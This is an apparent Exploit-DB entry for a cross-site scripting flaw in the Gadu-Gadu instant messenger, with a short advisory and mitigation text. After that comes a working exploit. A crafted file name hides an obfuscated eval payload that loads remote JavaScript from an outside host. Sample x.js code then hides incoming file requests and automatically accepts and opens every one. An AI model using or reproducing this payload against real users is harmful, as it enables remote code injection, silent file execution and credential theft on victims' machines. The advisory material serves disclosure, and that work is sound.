header-logo
Suggest Exploit
vendor:
Gadu-Gadu Instant Messenger
by:
Unknown
7.5
CVSS
HIGH
Cross-site scripting
79
CWE
Product Name: Gadu-Gadu Instant Messenger
Affected Version From: All versions prior to 10.5.0
Affected Version To: 10.5.2000
Patch Exists: YES
Related CWE: CVE-2011-1578
CPE: a:gadu-gadu:gadu-gadu
Other Scripts:
Platforms Tested:
2011

Cross-site scripting vulnerability in Gadu-Gadu Instant Messenger

Gadu-Gadu Instant Messenger is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input before displaying it on web pages. Regular expression filtering or HTML encoding can be used to prevent script code execution.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/47957/info

Gadu-Gadu Instant Messenger is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

file name that loads external x.js code:
<input
onfocus="eval(unescape('x%3Ddocument.getElementsByTagName%28%27head%27%29.item%280%29%3By%3Ddocument.createElement%28%27script%27%29%3By.src%3D%27http:%2f%2fasd.pl%2fx.js%27%3Bx.appendChild%28y%29%3B'));this.setAttribute('onfocus',0);"
autofocus>

example x.js code to hide, accept and open every file request:

document.getElementById('extra').innerHTML = '<style>.file,
.entrySeparator{display:none;}</style>';
n = document.getElementById('open_file');
n.setAttribute('id', '');

function ff(){
    if(f = document.getElementById('open_file')) {
        e = document.createEvent("HTMLEvents");
        e.initEvent('click', true, true);
        f.dispatchEvent(e);
        f.setAttribute('id', '');
    }
    setTimeout('ff()', 1000);
}

ff();